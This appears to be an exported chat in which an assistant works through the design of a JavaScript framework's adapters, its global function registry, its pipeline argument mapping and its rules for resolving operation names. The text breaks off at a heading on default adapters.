is_system: true,
functions: {
http_post: "async function(url, body, headers = {}) { ... }",
http_get: "async function(url, headers = {}) { ... }",
validate_email: "function(email) { ... }",
format_currency: "function(amount, currency = 'USD') { ... }"
}
}
// Function resolution checks System adapter
coworker._loadFunction = async function(functionName, adapter) {
// Check local first
if (adapter.functions[functionName]) {
return deserialize(adapter.functions[functionName]);
}
// Check System adapter
if (!this._systemAdapter) {
const result = await this.run({
operation: 'select',
doctype: 'Adapter',
where: { name: 'System' }
});
this._systemAdapter = result.target.data[0];
}
if (this._systemAdapter.functions[functionName]) {
return deserialize(this._systemAdapter.functions[functionName]);
}
throw new Error(`Function not found: ${functionName}`);
};Discovery: Query All Adapters for All Functions
javascript
// Get all adapters
const adapters = await run({
operation: 'select',
doctype: 'Adapter'
});
// Extract all unique functions
const allFunctions = new Map();
adapters.target.data.forEach(adapter => {
Object.entries(adapter.functions).forEach(([name, code]) => {
if (!allFunctions.has(name)) {
allFunctions.set(name, {
name,
code,
adapters: [adapter.name]
});
} else {
allFunctions.get(name).adapters.push(adapter.name);
}
});
});
// Display
allFunctions.forEach(fn => {
console.log(`${fn.name} (used in: ${fn.adapters.join(', ')})`);
});
// Output:
// http_post (used in: System, Stripe, SendGrid, OpenAI)
// format_stripe_request (used in: Stripe)
// parse_stripe_response (used in: Stripe)
// format_email (used in: SendGrid)
// validate_email (used in: System, SendGrid)User Creates New Adapter with Functions
javascript
// User creates custom adapter
await run({
operation: 'create',
doctype: 'Adapter',
input: {
name: "MyCustomAPI",
config: {
base_url: "https://my-api.com",
api_key: "my_secret_key"
},
functions: {
// Custom function specific to this API
parse_custom_response: `function(response) {
return {
id: response.weird_id_field,
name: response.customer_name
};
}`,
// Reuses system function
// (just reference it in operations, don't duplicate here)
},
operations: [
{
name: "get_customer",
target_doctype: "Customer",
parse_request: null,
execute: "http_get", // System function
parse_response: "parse_custom_response" // Local function
}
]
}
});
```
---
## The Architecture
```
Adapter Document Structure:
├─ name: "Stripe"
├─ config: { api_key, base_url }
├─ functions: {
│ format_stripe_request: "...",
│ parse_stripe_response: "..."
│ }
└─ operations: [
{
parse_request: "format_stripe_request", ← Local function
execute: "http_post", ← System function
parse_response: "parse_stripe_response" ← Local function
}
]
System Functions (Optional):
├─ Hardcoded in coworker.js
OR
├─ Stored in special System adapter document
└─ Available to all adaptersBenefits
✅ Co-location
Everything about Stripe adapter in one document
✅ Self-contained
Load adapter document = get everything needed
✅ No duplication of common functions
System functions shared across adapters
✅ Simple discovery
Query adapters → iterate functions
✅ Clear ownership
Functions in adapter owned by adapter owner
✅ Easy to understand
"Adapter has functions, operations use those functions"
Final Answer
You're right: Functions belong inside Adapter document.
javascript
Adapter: {
functions: {
// Adapter-specific functions here
},
operations: [
{
// References functions by name
parse_request: "function_name"
}
]
}
```
**With fallback to System functions for common utilities:**
```
Function resolution:
1. Check adapter.functions
2. Check SystemFunctions (global)
3. Error if not foundDiscovery:
javascript
// Get all adapters and their functions
const adapters = await run({ operation: 'select', doctype: 'Adapter' });
adapters.target.data.forEach(a => console.log(a.functions));This is simpler, more self-contained, and follows the "everything is a document" principle while avoiding duplication through system-level shared functions.
11:03 AM
Functions as Global Registry with Unique Names
Your Insight
Functions should be globally unique like doctypes:
Task (unique doctype name)
User (unique doctype name)
Invoice (unique doctype name)
http_post (unique function name)
format_stripe_request (unique function name)
validate_email (unique function name)The Problem with Adapter-Local Functions
javascript
// PROBLEM: Same function name, different implementations
Adapter: Stripe = {
functions: {
parse_response: "function(res) { /* Stripe-specific logic */ }"
}
}
Adapter: SendGrid = {
functions: {
parse_response: "function(res) { /* SendGrid-specific logic */ }"
}
}
// Collision! Which parse_response?Without unique names, you can't reference functions globally.
With Globally Unique Names
javascript
// SOLUTION: Namespaced unique names
Function: stripe_parse_response
Function: sendgrid_parse_response
Function: http_post
// Adapters reference by unique name
Adapter: Stripe = {
operations: [
{
parse_request: "stripe_format_request",
execute: "http_post",
parse_response: "stripe_parse_response"
}
]
}
Adapter: SendGrid = {
operations: [
{
parse_request: "sendgrid_format_email",
execute: "http_post",
parse_response: "sendgrid_parse_response"
}
]
}Functions as Global DocType
Function Schema
javascript
DocType: Function = {
name: "Function",
fields: [
{ fieldname: "name", fieldtype: "Data", required: 1, unique: 1 },
{ fieldname: "code", fieldtype: "Long Text", required: 1 },
{ fieldname: "description", fieldtype: "Text" },
{ fieldname: "category", fieldtype: "Select",
options: ["http", "validation", "formatting", "parsing"] },
{ fieldname: "parameters", fieldtype: "JSON" },
{ fieldname: "returns", fieldtype: "JSON" },
{ fieldname: "is_system", fieldtype: "Check" },
{ fieldname: "related_adapter", fieldtype: "Link", options: "Adapter" },
{ fieldname: "tags", fieldtype: "JSON" }
]
}Function Documents
javascript
// System functions
Function: http_post = {
name: "http_post",
code: "async function(url, body, headers) { ... }",
description: "Make HTTP POST request",
category: "http",
is_system: true,
parameters: [
{ name: "url", type: "string" },
{ name: "body", type: "object" },
{ name: "headers", type: "object" }
]
}
Function: http_get = {
name: "http_get",
code: "async function(url, headers) { ... }",
description: "Make HTTP GET request",
category: "http",
is_system: true
}
// Stripe-specific functions
Function: stripe_format_request = {
name: "stripe_format_request",
code: "function(input, config) { ... }",
description: "Format request for Stripe API",
category: "parsing",
is_system: false,
related_adapter: "Stripe",
tags: ["stripe", "payment"]
}
Function: stripe_parse_response = {
name: "stripe_parse_response",
code: "function(response, schema) { ... }",
description: "Parse Stripe API response",
category: "parsing",
is_system: false,
related_adapter: "Stripe"
}Adapters Reference Functions by Name
javascript
Adapter: Stripe = {
name: "Stripe",
config: {
api_key: "...",
base_url: "..."
},
operations: [
{
name: "create_payment",
target_doctype: "StripePayment",
parse_request: "stripe_format_request", // Global function name
execute: "http_post", // Global function name
parse_response: "stripe_parse_response" // Global function name
}
]
}Discovery: Query All Functions
javascript
// Get all functions
const functions = await run({
operation: 'select',
doctype: 'Function'
});
functions.target.data.forEach(fn => {
console.log(`${fn.name} - ${fn.description}`);
});
// Output:
// http_post - Make HTTP POST request
// http_get - Make HTTP GET request
// validate_email - Validate email address format
// stripe_format_request - Format request for Stripe API
// stripe_parse_response - Parse Stripe API response
// sendgrid_format_email - Format email for SendGrid APIQuery by Category
javascript
// Get all HTTP functions
const httpFunctions = await run({
operation: 'select',
doctype: 'Function',
where: { category: 'http' }
});
// Get all Stripe-related functions
const stripeFunctions = await run({
operation: 'select',
doctype: 'Function',
where: { related_adapter: 'Stripe' }
});Function Loading at Runtime
javascript
coworker._loadFunction = async function(functionName) {
// Check cache
if (this._functionCache.has(functionName)) {
return this._functionCache.get(functionName);
}
// Load from database
const result = await this.run({
operation: 'select',
doctype: 'Function',
where: { name: functionName },
options: { render: false }
});
if (!result.target.data.length) {
throw new Error(`Function not found: ${functionName}`);
}
const functionDoc = result.target.data[0];
// Deserialize
const fn = new Function('return ' + functionDoc.code)();
// Cache
this._functionCache.set(functionName, fn);
return fn;
};
// Execute adapter operation
coworker._execAdapter = async function(run_doc) {
const adapter = run_doc.options.adapter;
const operation = adapter.operations.find(op => op.name === run_doc.operation);
// Load all functions by name
const parse_request = await this._loadFunction(operation.parse_request);
const execute = await this._loadFunction(operation.execute);
const parse_response = await this._loadFunction(operation.parse_response);
// Execute pipeline
const request = parse_request(run_doc.input, adapter.config);
const response = await execute(request, adapter.config);
const normalized = parse_response(response, run_doc.target.schema);
run_doc.target.data = [normalized];
};Creating Functions (User Workflow)
Step 1: Create Function
javascript
await run({
operation: 'create',
doctype: 'Function',
input: {
name: 'shopify_parse_products', // Globally unique
code: `function(response) {
return response.products.map(p => ({
id: p.id,
title: p.title,
price: p.variants[0].price
}));
}`,
description: 'Parse Shopify products response',
category: 'parsing',
related_adapter: 'Shopify',
tags: ['shopify', 'ecommerce']
}
});Step 2: Reference in Adapter
javascript
await run({
operation: 'create',
doctype: 'Adapter',
input: {
name: 'Shopify',
config: { api_key: '...', shop_url: '...' },
operations: [
{
name: 'get_products',
target_doctype: 'Product',
parse_request: null,
execute: 'http_get',
parse_response: 'shopify_parse_products' // References function by name
}
]
}
});
```
---
## Naming Conventions
### System Functions (No Prefix)
```
http_post
http_get
http_put
http_delete
validate_email
validate_url
format_currency
format_date
```
### Adapter-Specific Functions (Prefixed)
```
stripe_format_request
stripe_parse_response
stripe_calculate_fees
sendgrid_format_email
sendgrid_parse_response
shopify_parse_products
shopify_format_order
openai_format_chat_request
openai_parse_chat_response
```
### User Functions (User-Prefixed or Adapter-Prefixed)
```
mycompany_custom_validation
mycompany_special_formatting
OR
custom_api_parse_response
custom_api_format_requestBenefits
✅ Globally Unique Names
No collisions, clear references
✅ Reusable Across Adapters
javascript
Adapter: Stripe uses http_post
Adapter: SendGrid uses http_post
Adapter: OpenAI uses http_post
// Same function, three adapters✅ Discoverable
javascript
// Browse all functions
await run({ operation: 'select', doctype: 'Function' })
// Search by name
await run({ operation: 'select', doctype: 'Function', where: { name: { like: '%stripe%' } } })
// Filter by category
await run({ operation: 'select', doctype: 'Function', where: { category: 'http' } })✅ Standard CRUD
javascript
// Create function
await run({ operation: 'create', doctype: 'Function', input: {...} })
// Update function
await run({ operation: 'update', doctype: 'Function', where: { name: 'http_post' }, input: {...} })
// Delete function
await run({ operation: 'delete', doctype: 'Function', where: { name: 'old_function' } })✅ Permissions & Ownership
javascript
Function: custom_function = {
name: "custom_function",
owner: "user@example.com",
// Standard Frappe permissions apply
}✅ Versioning Possible
javascript
Function: http_post_v1
Function: http_post_v2
Function: http_post_v3
// Or
Function: http_post = {
name: "http_post",
version: 2
}
```
---
## Architecture
```
Global Function Registry:
├─ Function: http_post (system)
├─ Function: http_get (system)
├─ Function: validate_email (system)
├─ Function: stripe_format_request (Stripe-specific)
├─ Function: stripe_parse_response (Stripe-specific)
├─ Function: sendgrid_format_email (SendGrid-specific)
└─ Function: custom_api_parser (user-created)
Adapters Reference Functions:
├─ Adapter: Stripe
│ └─ operations[0].execute = "http_post" (references global function)
├─ Adapter: SendGrid
│ └─ operations[0].execute = "http_post" (references same global function)
└─ Adapter: CustomAPI
└─ operations[0].parse_response = "custom_api_parser" (references global function)Final Answer
Yes - Functions should be a global DocType with unique names:
javascript
DocType: Function (globally unique function registry)
DocType: Adapter (references functions by name)
// Create function
await run({ operation: 'create', doctype: 'Function', input: { name: 'http_post', code: '...' } })
// Reference in adapter
Adapter.operations[0].execute = "http_post" // References global function by name
// Discover all functions
await run({ operation: 'select', doctype: 'Function' })Like doctypes, functions have globally unique names and live in a global registry (the Function doctype).
11:09 AM
You're Right - Functions Need Context
The Problem
javascript
// This makes no sense:
Adapter.operations[0].execute = "http_post"
// What does it execute?
// - What URL?
// - What body?
// - What headers?
// - Where do these come from?Functions can't exist in vacuum - they need:
- Input (what data to process)
- Context (config, previous step results)
- Signature (what parameters they expect)
What You Actually Need to Define
Not just function name, but HOW to call it:
javascript
Adapter: Stripe = {
operations: [
{
name: "create_payment",
// Wrong (what you showed I was doing):
execute: "http_post"
// Right (what's actually needed):
execute: {
function: "http_post",
args: {
url: "config.base_url + '/payments'",
body: "parsed_request",
headers: {
"Authorization": "'Bearer ' + config.api_key",
"Content-Type": "'application/json'"
}
}
}
}
]
}Function Call Definition
Each step needs:
- Function name (what to call)
- Arguments mapping (where values come from)
- Context binding (what variables are available)
javascript
{
name: "create_payment",
target_doctype: "StripePayment",
steps: [
{
name: "parse_request",
function: "stripe_format_request",
args: {
input: "run_doc.input", // From run input
config: "adapter.config" // From adapter config
}
},
{
name: "execute",
function: "http_post",
args: {
url: "adapter.config.base_url + '/payments'",
body: "steps.parse_request.result", // From previous step
headers: {
"Authorization": "'Bearer ' + adapter.config.api_key"
}
}
},
{
name: "parse_response",
function: "stripe_parse_response",
args: {
response: "steps.execute.result",
schema: "run_doc.target.schema"
}
}
]
}Context Available During Execution
javascript
// When executing adapter operation, these are available:
{
run_doc: {
input: { amount: 5000, customer_id: "cus_123" },
target: { schema: {...}, doctype: "StripePayment" }
},
adapter: {
config: { api_key: "sk_...", base_url: "https://api.stripe.com/v1" }
},
steps: {
parse_request: { result: { amount: 5000, currency: "usd" } },
execute: { result: { status: 200, body: {...} } }
}
}Two Approaches to Args Mapping
Approach A: Expression Strings
javascript
{
function: "http_post",
args: {
url: "adapter.config.base_url + '/payments'", // String expression
body: "steps.parse_request.result",
headers: {
"Authorization": "'Bearer ' + adapter.config.api_key"
}
}
}
// Runtime: Evaluate expressions
function evaluateArgs(argsDef, context) {
const evaluated = {};
for (const [key, expr] of Object.entries(argsDef)) {
evaluated[key] = eval(expr); // Evaluate in context
}
return evaluated;
}Pros: Flexible, can do calculations Cons: eval() is dangerous, no validation
Approach B: Path References
javascript
{
function: "http_post",
args: {
url: {
type: "template",
value: "{{adapter.config.base_url}}/payments"
},
body: {
type: "reference",
path: "steps.parse_request.result"
},
headers: {
Authorization: {
type: "template",
value: "Bearer {{adapter.config.api_key}}"
}
}
}
}
// Runtime: Resolve references
function resolveArgs(argsDef, context) {
const resolved = {};
for (const [key, def] of Object.entries(argsDef)) {
if (def.type === 'reference') {
resolved[key] = getPath(context, def.path);
} else if (def.type === 'template') {
resolved[key] = interpolate(def.value, context);
}
}
return resolved;
}Pros: Safer, can validate paths Cons: More verbose, limited expressions
Approach C: Function Closures (Simple)
javascript
// Define operation with actual functions
Adapter: Stripe = {
operations: [
{
name: "create_payment",
execute: function(context) {
const { run_doc, adapter, steps } = context;
// Call functions with explicit args
const parsed = stripe_format_request(
run_doc.input,
adapter.config
);
const response = await http_post(
adapter.config.base_url + '/payments',
parsed,
{ Authorization: 'Bearer ' + adapter.config.api_key }
);
const normalized = stripe_parse_response(
response,
run_doc.target.schema
);
return normalized;
}
}
]
}Pros: Clear, explicit, debuggable Cons: Can't serialize to JSON easily
Recommendation: Hybrid
Store as declarative steps with arg mappings:
javascript
Adapter: Stripe = {
name: "Stripe",
config: {
api_key: "sk_...",
base_url: "https://api.stripe.com/v1"
},
operations: [
{
name: "create_payment",
target_doctype: "StripePayment",
pipeline: [
{
step: "parse_request",
function: "stripe_format_request",
input: {
data: "$input", // Special $ prefix = from run_doc.input
config: "@config" // Special @ prefix = from adapter.config
},
output: "parsed_request" // Store result as this name
},
{
step: "call_api",
function: "http_post",
input: {
url: "@config.base_url + '/v1/payment_intents'",
body: "~parsed_request", // Special ~ prefix = from previous steps
headers: {
Authorization: "Bearer @config.api_key",
"Content-Type": "application/json"
}
},
output: "http_response"
},
{
step: "parse_response",
function: "stripe_parse_response",
input: {
response: "~http_response.body",
schema: "#target.schema" // Special # prefix = from run_doc
},
output: "final_result"
}
]
}
]
}Special Prefixes for Context Access:
$input→ run_doc.input@config→ adapter.config~step_name→ previous step result#target.schema→ run_doc.target.schema
Execution
javascript
coworker._execAdapter = async function(run_doc) {
const adapter = run_doc.options.adapter;
const operation = adapter.operations.find(op => op.name === run_doc.operation);
const context = {
input: run_doc.input,
config: adapter.config,
target: run_doc.target,
steps: {}
};
// Execute pipeline
for (const step of operation.pipeline) {
// Load function
const fn = await this._loadFunction(step.function);
// Resolve input arguments
const args = this._resolveArgs(step.input, context);
// Execute
const result = await fn(...Object.values(args));
// Store result
context.steps[step.output] = result;
}
// Final result is last step
const lastStep = operation.pipeline[operation.pipeline.length - 1];
run_doc.target.data = [context.steps[lastStep.output]];
};
coworker._resolveArgs = function(inputDef, context) {
const resolved = {};
for (const [key, value] of Object.entries(inputDef)) {
if (typeof value === 'string') {
// Resolve special prefixes
if (value.startsWith('$')) {
resolved[key] = context.input;
} else if (value.startsWith('@')) {
const path = value.slice(1);
resolved[key] = this._getPath(context.config, path);
} else if (value.startsWith('~')) {
const path = value.slice(1);
resolved[key] = this._getPath(context.steps, path);
} else if (value.startsWith('#')) {
const path = value.slice(1);
resolved[key] = this._getPath(context.target, path);
} else {
// Literal string
resolved[key] = value;
}
} else if (typeof value === 'object') {
// Recursively resolve nested objects
resolved[key] = this._resolveArgs(value, context);
} else {
// Literal value
resolved[key] = value;
}
}
return resolved;
};Example: Full Stripe Adapter
javascript
Adapter: Stripe = {
name: "Stripe",
config: {
api_key: "sk_test_...",
base_url: "https://api.stripe.com/v1"
},
operations: [
{
name: "create_payment",
target_doctype: "StripePayment",
pipeline: [
{
step: "format_request",
function: "stripe_format_payment_request",
input: {
amount: "$input.amount",
currency: "$input.currency",
customer: "$input.customer_id"
},
output: "payment_request"
},
{
step: "post_to_stripe",
function: "http_post",
input: {
url: "@config.base_url + '/payment_intents'",
body: "~payment_request",
headers: {
Authorization: "Bearer @config.api_key",
"Content-Type": "application/json"
}
},
output: "stripe_response"
},
{
step: "normalize",
function: "stripe_parse_payment_response",
input: {
response: "~stripe_response.body",
target_schema: "#target.schema"
},
output: "normalized_payment"
}
]
}
]
}
```
---
## The Key Insight
**Functions are reusable, but their INVOCATION is context-specific.**
```
Function Definition (global):
├─ http_post(url, body, headers) // What parameters it accepts
Function Invocation (adapter-specific):
├─ url: adapter.config.base_url
├─ body: previous_step.result
└─ headers: { Authorization: adapter.config.api_key }You don't just reference "http_post" - you define HOW to call it in THIS context.
Is this the right direction?
11:14 AM
Lack of Clarity: Operations vs Functions
The Confusion
You're right - there's conceptual overlap and unclear boundaries:
What is an "operation"?
- Is it like
select,create,update,delete? (CRUD operations) - Is it like
create_payment,send_email? (Adapter-specific actions) - Is it a sequence of function calls? (Pipeline/workflow)
What is a "function"?
- Is it a reusable utility? (
http_post,validate_email) - Is it adapter logic? (
stripe_format_request) - Is it the same as an operation?
Current Mental Model is Fuzzy
javascript
// Is this an operation or a function?
"create_payment"
// Are these operations or functions?
"select", "create", "update", "delete"
// Are these operations or functions?
"http_post", "http_get"
// What about this?
"stripe_format_request"
```
**There's no clear distinction.**
---
## Let's Define Clear Boundaries
### Option 1: Operations = High-Level Actions, Functions = Low-Level Primitives
```
OPERATIONS (What the system can DO):
├─ Built-in CRUD: select, create, update, delete
├─ Adapter Operations: create_payment, send_email, generate_image
└─ Called via: run({ operation: "create_payment" })
FUNCTIONS (How things are DONE):
├─ Utilities: http_post, validate_email, format_currency
├─ Transformers: stripe_format_request, parse_json
└─ Used internally by operationsExample:
javascript
// User calls operation
await run({ operation: 'create_payment', adapter: 'Stripe' })
// Internally, operation uses functions:
Operation: create_payment = {
steps: [
{ function: "stripe_format_request" },
{ function: "http_post" },
{ function: "stripe_parse_response" }
]
}
```
**Clarity:**
- ✅ Operations = public API (what users call)
- ✅ Functions = internal implementation (how operations work)
**Problem:**
- ❌ "select", "create" are also operations but don't use this pattern
- ❌ Inconsistency between CRUD operations and adapter operations
---
### Option 2: Everything is an Operation, Functions Don't Exist as Separate Concept
```
OPERATIONS (only concept):
├─ Built-in: select, create, update, delete
├─ Adapter: Stripe.create_payment, SendGrid.send_email
├─ Composite: workflow_payment_and_notify
└─ All called via: run({ operation: "..." })
NO separate "functions" conceptAdapter defines operations:
javascript
Adapter: Stripe = {
operations: {
create_payment: {
code: "async function(input, config) { /* complete logic */ }"
},
refund_payment: {
code: "async function(input, config) { /* complete logic */ }"
}
}
}
```
**Clarity:**
- ✅ Single concept: operations
- ✅ Consistent interface
**Problem:**
- ❌ No reusability (http_post logic duplicated everywhere)
- ❌ Operations become huge monolithic functions
---
### Option 3: Functions ARE Operations (Single Unified Concept)
```
Everything is callable via run():
├─ run({ operation: 'select' }) // Built-in operation
├─ run({ operation: 'create' }) // Built-in operation
├─ run({ operation: 'http_post' }) // Utility operation
├─ run({ operation: 'create_payment' }) // Adapter operation
└─ All are just "operations" (no distinction)All stored in same registry:
javascript
Operation: select = { code: "..." }
Operation: create = { code: "..." }
Operation: http_post = { code: "..." }
Operation: create_payment = { code: "..." }
```
**Clarity:**
- ✅ Single unified concept
- ✅ Everything is an operation
**Problem:**
- ❌ No clear composition (how does create_payment use http_post?)
- ❌ Flat namespace gets messy
---
### Option 4: Operations Compose Functions (Clear Hierarchy)
```
FUNCTIONS (atomic, reusable):
├─ http_post
├─ http_get
├─ validate_email
├─ format_currency
└─ Stored in Function DocType
OPERATIONS (compose functions):
├─ Built-in: select, create, update, delete (use database functions internally)
├─ Adapter: create_payment (uses http_post + formatting functions)
└─ Defined as: sequence of function calls with data flowClear separation:
javascript
// Atomic functions
Function: http_post = {
name: "http_post",
code: "async function(url, body, headers) { ... }",
parameters: ["url", "body", "headers"]
}
Function: stripe_format_payment = {
name: "stripe_format_payment",
code: "function(input) { return { amount: input.amount * 100, ... }; }",
parameters: ["input"]
}
// Composite operation
Operation: create_payment = {
name: "create_payment",
adapter: "Stripe",
target_doctype: "StripePayment",
pipeline: [
{
call: "stripe_format_payment",
with: { input: "$input" },
store: "formatted"
},
{
call: "http_post",
with: {
url: "@config.base_url + '/payment_intents'",
body: "~formatted",
headers: { Authorization: "Bearer @config.api_key" }
},
store: "response"
}
]
}
```
**Clarity:**
- ✅ Functions = atomic building blocks
- ✅ Operations = compositions of functions
- ✅ Clear hierarchy
**Problem:**
- ❓ Where do operations live? (In Adapter? Separate Operation DocType?)
- ❓ How do built-in CRUD operations fit? (Are they also in Operation DocType?)
---
## The Real Question
**What's the mental model you want?**
### Question A: Are adapters PRIMARY?
```
User thinks: "I want to use Stripe"
User does: Load Stripe adapter → call its operations
Adapter: Stripe
└─ Operations: create_payment, refund_payment, etc.
```
### Question B: Are operations PRIMARY?
```
User thinks: "I want to create a payment"
User does: Call create_payment operation → specify adapter
Operation: create_payment
└─ Available in: Stripe adapter, PayPal adapter, etc.My Proposed Clear Model
Layer 1: Functions (Atomic Utilities)
javascript
DocType: Function
- http_post
- http_get
- validate_email
- format_currency
- stripe_format_payment // Adapter-specific transformerCharacteristics:
- Atomic (do one thing)
- Reusable across adapters
- Globally unique names
- Pure logic (no operation context)
Layer 2: Adapters (Capability Providers)
javascript
DocType: Adapter
- Name: Stripe
- Config: { api_key, base_url }
- Exposes operations: create_payment, refund_payment, get_customerCharacteristics:
- Provide external integration
- Have configuration (credentials, URLs)
- Define available operations
- Operations are specific to this adapter
Layer 3: Operations (Adapter Actions)
javascript
// NOT separate DocType, stored IN adapter
Adapter: Stripe = {
operations: [
{
name: "create_payment",
target_doctype: "StripePayment",
execute: [
// Sequence of function calls
]
}
]
}Characteristics:
- Belong to specific adapter
- Define what that adapter can do
- Compose functions to implement logic
- Not globally unique (Stripe.create_payment vs PayPal.create_payment)
Layer 4: Built-in Operations (Special Case)
javascript
// Hardcoded in coworker core
coworker._builtinOperations = {
select: async function(run_doc) { /* database query */ },
create: async function(run_doc) { /* database insert */ },
update: async function(run_doc) { /* database update */ },
delete: async function(run_doc) { /* database delete */ }
}
```
**Characteristics:**
- Built into coworker core
- Don't use adapter pattern
- Direct database access
- Always available
---
## Simplified Conceptual Model
```
┌─────────────────────────────────────┐
│ BUILT-IN OPERATIONS │
│ (select, create, update, delete) │
│ Direct database access │
└─────────────────────────────────────┘
┌─────────────────────────────────────┐
│ FUNCTIONS (Utilities) │
│ - http_post, validate_email, etc. │
│ - Atomic, reusable │
│ - Stored in Function DocType │
└─────────────────────────────────────┘
↑ used by
┌─────────────────────────────────────┐
│ ADAPTERS (External Integrations) │
│ - Stripe, SendGrid, OpenAI │
│ - Have config (credentials) │
│ - Define operations specific to them│
│ - Stored in Adapter DocType │
└─────────────────────────────────────┘Usage Pattern
javascript
// Built-in operation (no adapter)
await run({ operation: 'select', doctype: 'Task' })
// Adapter operation (requires adapter)
await run({
operation: 'create_payment',
adapter: 'Stripe', // or pass adapter object
input: { amount: 5000 }
})
// Functions are NOT directly callable via run()
// They're only used internally by operations
```
---
## Is This Clear?
**Functions** = Building blocks (http_post, validate_email)
**Adapters** = Integration containers (Stripe, SendGrid)
**Operations** = Adapter actions (Stripe.create_payment, SendGrid.send_email)
**Built-in Operations** = Core CRUD (select, create, update, delete)
**The hierarchy:**
```
run({ operation: 'create_payment', adapter: 'Stripe' })
→ Finds Stripe adapter
→ Finds create_payment operation in Stripe
→ Executes operation (which internally calls functions)Does this resolve the confusion?
11:21 AM
Back to Basics: Operation Resolution
Your Core Point
operation is just a string argument to run():
javascript
await run({ operation: 'select' })
await run({ operation: 'create_payment' })
await run({ operation: 'http_post' })
await run({ operation: 'custom_thing' })Question: Who resolves this string and against what?
The Resolution Question
When user calls:
javascript
await run({ operation: 'create_payment' })What happens?
javascript
coworker.run = function(op) {
// Step 1: What is 'create_payment'?
// Step 2: Where do I find the code for it?
// Step 3: How do I execute it?
}Option 1: Resolve Against Built-in Operations First
javascript
coworker.run = async function(op) {
// Check if it's a built-in operation
if (this._builtinOperations[op.operation]) {
return this._builtinOperations[op.operation](op);
}
// Not built-in, what now?
throw new Error(`Unknown operation: ${op.operation}`);
};
coworker._builtinOperations = {
'select': async function(op) { /* database query */ },
'create': async function(op) { /* database insert */ },
'update': async function(op) { /* database update */ },
'delete': async function(op) { /* database delete */ }
};This answers:
run({ operation: 'select' })→ built-in handlerrun({ operation: 'create' })→ built-in handler
But doesn't answer:
run({ operation: 'create_payment' })→ ❓ where is this?
Option 2: Resolve Against Adapter Operations
javascript
coworker.run = async function(op) {
// Check built-in first
if (this._builtinOperations[op.operation]) {
return this._builtinOperations[op.operation](op);
}
// Check if adapter provided
if (op.adapter) {
// Find operation in adapter
const adapter = op.adapter; // Already loaded object
const operation = adapter.operations.find(o => o.name === op.operation);
if (operation) {
return this._executeAdapterOperation(operation, op);
}
}
throw new Error(`Unknown operation: ${op.operation}`);
};This answers:
run({ operation: 'select' })→ built-inrun({ operation: 'create_payment', adapter: stripeAdapter })→ adapter operation
But requires:
- User must provide adapter object
- User must know which adapter has which operation
Option 3: Operation Registry (Global Lookup)
javascript
// All operations registered globally
coworker._operationRegistry = {
'select': { type: 'builtin', handler: builtinSelect },
'create': { type: 'builtin', handler: builtinCreate },
'create_payment': { type: 'adapter', adapter: 'Stripe', ... },
'send_email': { type: 'adapter', adapter: 'SendGrid', ... },
'http_post': { type: 'function', ... }
};
coworker.run = async function(op) {
const registered = this._operationRegistry[op.operation];
if (!registered) {
throw new Error(`Unknown operation: ${op.operation}`);
}
if (registered.type === 'builtin') {
return registered.handler(op);
}
if (registered.type === 'adapter') {
// Load adapter and execute
const adapter = await this.loadAdapter(registered.adapter);
return this._executeAdapterOperation(adapter, op);
}
};This answers everything but:
- How does registry get populated?
- What if multiple adapters have same operation name?
Option 4: Resolution Order (Fallback Chain)
javascript
coworker.run = async function(op) {
// 1. Try built-in operations
if (this._builtinOperations[op.operation]) {
return this._builtinOperations[op.operation](op);
}
// 2. Try adapter (if specified)
if (op.adapter) {
const adapter = await this.loadAdapter(op.adapter);
const operation = adapter.operations.find(o => o.name === op.operation);
if (operation) {
return this._executeAdapterOperation(operation, adapter, op);
}
}
// 3. Try to find operation in ANY adapter (search)
if (!op.adapter) {
const allAdapters = await this.run({
operation: 'select',
doctype: 'Adapter'
});
for (const adapter of allAdapters.target.data) {
const operation = adapter.operations?.find(o => o.name === op.operation);
if (operation) {
return this._executeAdapterOperation(operation, adapter, op);
}
}
}
// 4. Try global functions as last resort
const fn = await this.loadFunction(op.operation);
if (fn) {
return fn(op.input, op.options);
}
throw new Error(`Cannot resolve operation: ${op.operation}`);
};The Core Questions You Need to Answer
Q1: Can operation names collide?
javascript
// Stripe has create_payment
// PayPal has create_payment
// Braintree has create_payment
run({ operation: 'create_payment' })
// Which one???Answer options:
- A) No collision - must specify adapter:
run({ operation: 'create_payment', adapter: 'Stripe' }) - B) Namespaced names:
run({ operation: 'stripe_create_payment' }) - C) First match wins (search all adapters, use first found)
Q2: Are there "global" operations?
javascript
run({ operation: 'select' }) // Always available
run({ operation: 'http_post' }) // Available? Or needs adapter?
run({ operation: 'validate_email' }) // Available? Or needs adapter?Answer options:
- A) Only built-in CRUD are global (select, create, update, delete)
- B) Common utilities are also global (http_post, validate_email, etc.)
- C) Nothing is global except built-ins, everything else needs explicit adapter/source
Q3: Where does the resolver look?
javascript
run({ operation: 'unknown_operation' })
// What order to check?Answer options:
- A) Built-in only → error if not found
- B) Built-in → adapter (if provided) → error
- C) Built-in → adapter → search all adapters → error
- D) Built-in → adapter → global functions → error
Q4: What if user provides both adapter and operation that doesn't exist in that adapter?
javascript
run({
operation: 'send_email', // SendGrid operation
adapter: stripeAdapter // Stripe adapter
})
// Error? Search other adapters? Use SendGrid automatically?My Questions to You
Q1: Should operations be globally unique?
- If yes:
create_paymentcan only mean one thing - If no: Must disambiguate somehow
Q2: Should common utilities (http_post, validate_email) be callable as operations?
run({ operation: 'http_post', input: { url: '...' } })- Or are they only internal?
Q3: When adapter not specified, should system search all adapters?
run({ operation: 'create_payment' })→ searches Stripe, PayPal, etc. and uses first match?- Or is this an error?
Q4: What's the simplest mental model for users?
- "All operations need adapter except built-in CRUD"?
- "Operation names are globally unique"?
- Something else?
Answer these and the resolution logic becomes clear.
11:26 AM
Operation Resolution with Duplicate Names & Default Adapters
Your Design Decision
Allow duplicate operation names across adapters:
javascript
// Same operation name, different adapters
Stripe.create_payment
PayPal.create_payment
Braintree.create_paymentWhy: Easy adapter switching without code changes:
javascript
// Production - uses Stripe
await run({ operation: 'create_payment', input: {...} })
// Testing - switch to mock adapter
await run({ operation: 'create_payment', input: {...}, options: { adapter: 'MockPayment' } })Resolution Logic
javascript
coworker.run = async function(op) {
const adapterName = op.options?.adapter || this._defaultAdapter;
// 1. Built-in operations (no adapter needed)
if (this._builtinOperations[op.operation]) {
return this._builtinOperations[op.operation](op);
}
// 2. Adapter operations (requires adapter)
if (adapterName) {
const adapter = await this.loadAdapter(adapterName);
const operation = adapter.operations.find(o => o.name === op.operation);
if (operation) {
return this._executeAdapterOperation(operation, adapter, op);
}
throw new Error(`Operation '${op.operation}' not found in adapter '${adapterName}'`);
}
// 3. No adapter specified and not built-in
throw new Error(`Operation '${op.operation}' requires an adapter`);
};Default Adapter Concept
